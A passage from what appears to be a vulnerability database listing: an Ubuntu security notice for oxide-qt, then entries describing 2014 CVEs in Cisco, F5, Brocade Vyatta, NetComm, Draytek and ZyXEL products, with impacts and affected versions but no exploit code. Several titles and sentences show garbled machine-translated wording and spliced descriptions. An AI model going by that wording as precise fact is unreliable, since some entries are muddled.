Safari 8.0.3, Safari 7.1.3, and Safari 6.2.3 may be obtained from
the Mac App Store. ============================================================================
Ubuntu Security Notice USN-2345-1
October 14, 2014
oxide-qt vulnerabilities
============================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 14.04 LTS
Summary:
Several security issues were fixed in Oxide.
Software Description:
- oxide-qt: Web browser engine library for Qt (QML plugin)
Details:
Multiple use-after-free issues were discovered in Blink. (CVE-2014-3179,
CVE-2014-3200)
It was discovered that Chromium did not properly handle the interaction of
IPC and V8. If a user were tricked in to opening a specially crafted
website, an attacker could potentially exploit this to execute arbitrary
code with the privileges of the user invoking the program. (CVE-2014-3188)
A use-after-free was discovered in the web workers implementation in
Chromium. (CVE-2014-3194)
It was discovered that V8 did not correctly handle Javascript heap
allocations in some circumstances. If a user were tricked in to opening a
specially crafted website, an attacker could potentially exploit this to
steal sensitive information. (CVE-2014-3195)
It was discovered that Blink did not properly provide substitute data for
pages blocked by the XSS auditor. If a user were tricked in to opening a
specially crafter website, an attacker could potentially exploit this to
steal sensitive information. (CVE-2014-3197)
It was discovered that the wrap function for Event's in the V8 bindings
in Blink produced an erroneous result in some circumstances. If a user
were tricked in to opening a specially crafted website, an attacker could
potentially exploit this to cause a denial of service by stopping a worker
process that was handling an Event object. (CVE-2014-3199)
Multiple security issues were discovered in V8. (CVE-2014-7967)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 14.04 LTS:
liboxideqtcore0 1.2.5-0ubuntu0.14.04.1
oxideqt-codecs 1.2.5-0ubuntu0.14.04.1
oxideqt-codecs-extra 1.2.5-0ubuntu0.14.04.1
In general, a standard system update will make all the necessary changes.
References:
http://www.ubuntu.com/usn/usn-2345-1
CVE-2014-3178, CVE-2014-3179, CVE-2014-3188, CVE-2014-3190,
CVE-2014-3191, CVE-2014-3192, CVE-2014-3194, CVE-2014-3195,
CVE-2014-3197, CVE-2014-3199, CVE-2014-3200, CVE-2014-7967
Package Information:
https://launchpad.net/ubuntu/+source/oxide-qt/1.2.5-0ubuntu0.14.04.1
| VAR-201410-0060 | CVE-2014-3399 | Cisco Adaptive Security Appliance Software SSL VPN Any in the implementation of RAMFS Cache file overwrite vulnerability |
CVSS V2: 5.5 CVSS V3: - Severity: MEDIUM |
The SSL VPN implementation in Cisco Adaptive Security Appliance (ASA) Software 9.2(.2.4) and earlier does not properly manage session information during creation of a SharePoint handler, which allows remote authenticated users to overwrite arbitrary RAMFS cache files or inject Lua programs, and consequently cause a denial of service (portal outage or system reload), via crafted HTTP requests, aka Bug ID CSCup54208. Cisco Adaptive Security Appliance (ASA) Software is prone to a vulnerability that may allow attackers to overwrite arbitrary local files.
Successful exploits may allow an attacker to overwrite arbitrary files on the RAMFS cache or inject Lua scripts, causing a denial of service condition.
This issue is being tracked by Cisco Bug ID CSCup54208. The vulnerability stems from the improper management of session information when the program creates the SharePoint handler
| VAR-201410-0378 | CVE-2014-4871 | NetCommWireless NB604N ADSL2+ Router 'wlsecurity.html' HTML Injection Vulnerability |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
Cross-site scripting (XSS) vulnerability in wlsecurity.html on NetCommWireless NB604N routers with firmware before GAN5.CZ56T-B-NC.AU-R4B030.EN allows remote attackers to inject arbitrary web script or HTML via the wlWpaPsk parameter. NetComm Wireless Provided by NB604N Is Wireless -> Security page (wlsecurity.html) Variables that are not sanitized wlWpaPsk Value of Javascript variable wpaPskKey Stored cross-site scripting vulnerability (CWE-79) Exists. The NetCommWireless NB604N is a router device. Sensitive information or hijacking user sessions. NetCommWireless NB604N is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
NetCommWireless NB604N GAN5.CZ56T-B-NC.AU-R4B010.EN is vulnerable; other versions may also be affected. NetComm Wireless NB604N Routers is a wireless router product of Australia NetComm Wireless company
| VAR-201410-1447 | No CVE | Multiple vulnerabilities in Draytek Vigor 2130 Router |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Draytek Vigor 2130 Router is a wireless router product with firewall function from DrayTek.
Code injection vulnerabilities and cross-site request forgery vulnerabilities exist in Draytek Vigor 2130 routers with firmware versions prior to 1.5.4.9. Attackers can use these vulnerabilities to bypass security restrictions, gain system access and sensitive information, perform unauthorized administrator operations, and steal cookie-based authentication certificates. Draytek Vigor 2130 router is prone to the following security vulnerabilities:
1. A command-injection vulnerability
2. Other attacks are also possible
| VAR-201411-0351 | CVE-2014-6033 |
F5 BIG-IP Code injection vulnerability
Related entries in the VARIoT exploits database: VAR-E-201410-0140 |
CVSS V2: 5.5 CVSS V3: - Severity: MEDIUM |
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2014-6032. Reason: This candidate is a duplicate of CVE-2014-6032. Notes: All CVE users should reference CVE-2014-6032 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage. F5 Networks BIG-IP is prone to an XML External Entity injection vulnerability.
Attackers can exploit this issue to obtain potentially sensitive information and to carry out other attacks. F5 BIG-IP LTM, etc. are all products of F5 Company in the United States. LTM is a local traffic manager; APM is a solution that provides secure unified access to business-critical applications and networks. A security vulnerability exists in the Configuration utility of several F5 products. A remote attacker could exploit this vulnerability to read arbitrary files or cause a denial of service. The following products and versions are affected: F5 BIG-IP LTM, ASM, GTM, Link Controller Version 11.0 to 11.6.0 and 10.0.0 to 10.2.4, AAM 11.4.0 to 11.6.0, ARM 11.3 .0 to 11.6.0, Analytics 11.0.0 to 11.6.0, APM and Edge Gateway 11.0 to 11.6.0 and 10.1.0 to 10.2.4, PEM 11.3.0 to 11.6. 0, PSM 11.0.0 to 11.4.1 and 10.0.0 to 10.2.4, WOM 11.0.0 to 11.3.0 and 10.0.0 to 10.2.4, Enterprise Manager 3.0.0 Version to version 3.1.1 and version 2.1.0 to version 2.3.0
| VAR-201410-0375 | CVE-2014-4868 | Brocade Vyatta 5400 vRouter contains multiple vulnerabilities |
CVSS V2: 9.0 CVSS V3: - Severity: HIGH |
The management console on the Brocade Vyatta 5400 vRouter 6.4R(x), 6.6R(x), and 6.7R1 allows remote authenticated users to execute arbitrary Linux commands via shell metacharacters in a console command. Brocade Vyatta 5400 vRouter versions 6.4R(x), 6.6R(x), and 6.7R1 contain multiple vulnerabilities. Brocade Vyatta 5400 vRouter enables organizations to build advanced, multi-layered networks in a virtualized environment to add, configure, and move network services as needed. Brocade Vyatta 5400 vRouter fails to properly handle user-submitted (`) characters, allowing remote attackers to exploit vulnerabilities to submit special requests, inject OS commands and execute them. A command-injection vulnerability
2. A security-bypass vulnerability
3. A remote code-execution vulnerability
An attacker can exploit these issues to bypass certain security restrictions, obtain sensitive information and execute script code and shell commands with root privileges. This may aid in further attacks. Brocade Vyatta 5400 vRouter is a set of Brocade Corporation that provides a series of network function virtualization (NFV) solutions. The following versions are affected: Brocade Vyatta 5400 vRouter version 6.4, version 6.6 and version 6.7
| VAR-201410-0057 | CVE-2014-3396 | plural ASR 9000 Run on device Cisco IOS XR In Typhoon Line card ACL Vulnerabilities that can be bypassed |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Cisco IOS XR on ASR 9000 devices does not properly use compression for port-range and address-range encoding, which allows remote attackers to bypass intended Typhoon line-card ACL restrictions via transit traffic, aka Bug ID CSCup30133. Vendors have confirmed this vulnerability Bug ID CSCup30133 It is released as.By a third party via transit traffic, Typhoon Line card ACL You may be able to work around the limitation. Cisco IOS XR is a fully modular, distributed network operating system from Cisco's IOS software family.
An attacker can exploit this issue to bypass the access list and perform unauthorized actions.
This issue is being tracked by Cisco Bug ID CSCup30133. The vulnerability is caused by the incorrect compression of port-range and address-range encoding. A remote attacker can exploit this vulnerability to bypass the established Typhoon line-card ACL restrictions by means of relay communication
| VAR-201410-0059 | CVE-2014-3398 | Cisco Adaptive Security Appliance Software SSL VPN Vulnerability in the implementation of critical software version information in the implementation of |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The SSL VPN implementation in Cisco Adaptive Security Appliance (ASA) Software allows remote attackers to obtain potentially sensitive software-version information by reading the verbose response data that is provided for a request to an unspecified URL, aka Bug ID CSCuq65542.
An attacker can leverage this issue to obtain sensitive information that may aid in further attacks.
This issue is being tracked by Cisco bug ID CSCuq65542
| VAR-201410-0061 | CVE-2014-3400 | Cisco WebEx Meetings Server Vulnerability in which important information is obtained |
CVSS V2: 4.0 CVSS V3: - Severity: MEDIUM |
Cisco WebEx Meetings Server allows remote authenticated users to obtain sensitive information by reading logs, aka Bug IDs CSCuq36417 and CSCuq40344.
An attacker can leverage this issue to obtain sensitive information that may aid in further attacks.
This issue is being tracked by Cisco bug IDs CSCuq36417 and CSCuq4034. There is a security vulnerability in CWMS that stems from the inclusion of sensitive data in the logs
| VAR-201410-1356 | CVE-2014-7277 | ZyXEL SBG-3300 Security Gateway Firmware login page cross-site scripting vulnerability |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
Cross-site scripting (XSS) vulnerability in the login page on the ZyXEL SBG-3300 Security Gateway with firmware 1.00(AADY.4)C0 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified "welcome message" form data that is improperly handled during rendering of the loginMessage list item, a different vulnerability than CVE-2014-7278. The ZyXEL SBG-3300 Security Gateway is a security gateway application. Zyxel SBG-3300 series routers are prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
Zyxel SBG-3300 V1.00(AADY.4)C0 and prior are vulnerable
| VAR-201410-1357 | CVE-2014-7278 | ZyXEL SBG-3300 Security Gateway Service disruption on the firmware login page (DoS) Vulnerabilities |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The login page on the ZyXEL SBG-3300 Security Gateway with firmware 1.00(AADY.4)C0 and earlier allows remote attackers to cause a denial of service (persistent web-interface outage) via JavaScript code within unspecified "welcome message" form data that is improperly handled during use for the loginMsg variable's value, a different vulnerability than CVE-2014-7277. ZyXEL SBG-3300 Security Gateway The firmware login page shows service disruption ( permanent Web Interface down ) There are vulnerabilities that are put into a state. The ZyXEL SBG-3300 Security Gateway is a security gateway application. Zyxel SBG-3300 series routers are prone to a remote denial-of-service vulnerability.
Attackers can exploit this issue to cause the device to reboot, denying service to legitimate users.
Zyxel SBG-3300 V1.00(AADY.4)C0 and prior are vulnerable
| VAR-201410-0377 | CVE-2014-4870 | Brocade Vyatta 5400 vRouter contains multiple vulnerabilities |
CVSS V2: 7.2 CVSS V3: - Severity: HIGH |
/opt/vyatta/bin/sudo-users/vyatta-clear-dhcp-lease.pl on the Brocade Vyatta 5400 vRouter 6.4R(x), 6.6R(x), and 6.7R1 does not properly validate parameters, which allows local users to gain privileges by leveraging the sudo configuration. Brocade Vyatta 5400 vRouter versions 6.4R(x), 6.6R(x), and 6.7R1 contain multiple vulnerabilities. Brocade Vyatta 5400 vRouter enables organizations to build advanced, multi-layered networks in a virtualized environment to add, configure, and move network services as needed. A command-injection vulnerability
2. A security-bypass vulnerability
3. A remote code-execution vulnerability
An attacker can exploit these issues to bypass certain security restrictions, obtain sensitive information and execute script code and shell commands with root privileges. This may aid in further attacks. Brocade Vyatta 5400 vRouter is a set of Brocade Corporation that provides a series of network function virtualization (NFV) solutions. The vulnerability is caused by the program not validating the parameters correctly. The following versions are affected: Brocade Vyatta 5400 vRouter version 6.4, version 6.6 and version 6.7
| VAR-201410-0376 | CVE-2014-4869 | Brocade Vyatta 5400 vRouter contains multiple vulnerabilities |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The Brocade Vyatta 5400 vRouter 6.4R(x), 6.6R(x), and 6.7R1 allows attackers to obtain sensitive encrypted-password information by leveraging membership in the operator group. Brocade Vyatta 5400 vRouter versions 6.4R(x), 6.6R(x), and 6.7R1 contain multiple vulnerabilities. Brocade Vyatta 5400 vRouter Contains a vulnerability in which important encrypted password information can be obtained. Brocade Vyatta 5400 vRouter enables organizations to build advanced, multi-layered networks in a virtualized environment to add, configure, and move network services as needed. A command-injection vulnerability
2. A security-bypass vulnerability
3. A remote code-execution vulnerability
An attacker can exploit these issues to bypass certain security restrictions, obtain sensitive information and execute script code and shell commands with root privileges. This may aid in further attacks. Brocade Vyatta 5400 vRouter is a set of Brocade Corporation that provides a series of network function virtualization (NFV) solutions. The following versions are affected: Brocade Vyatta 5400 vRouter version 6.4, version 6.6 and version 6.7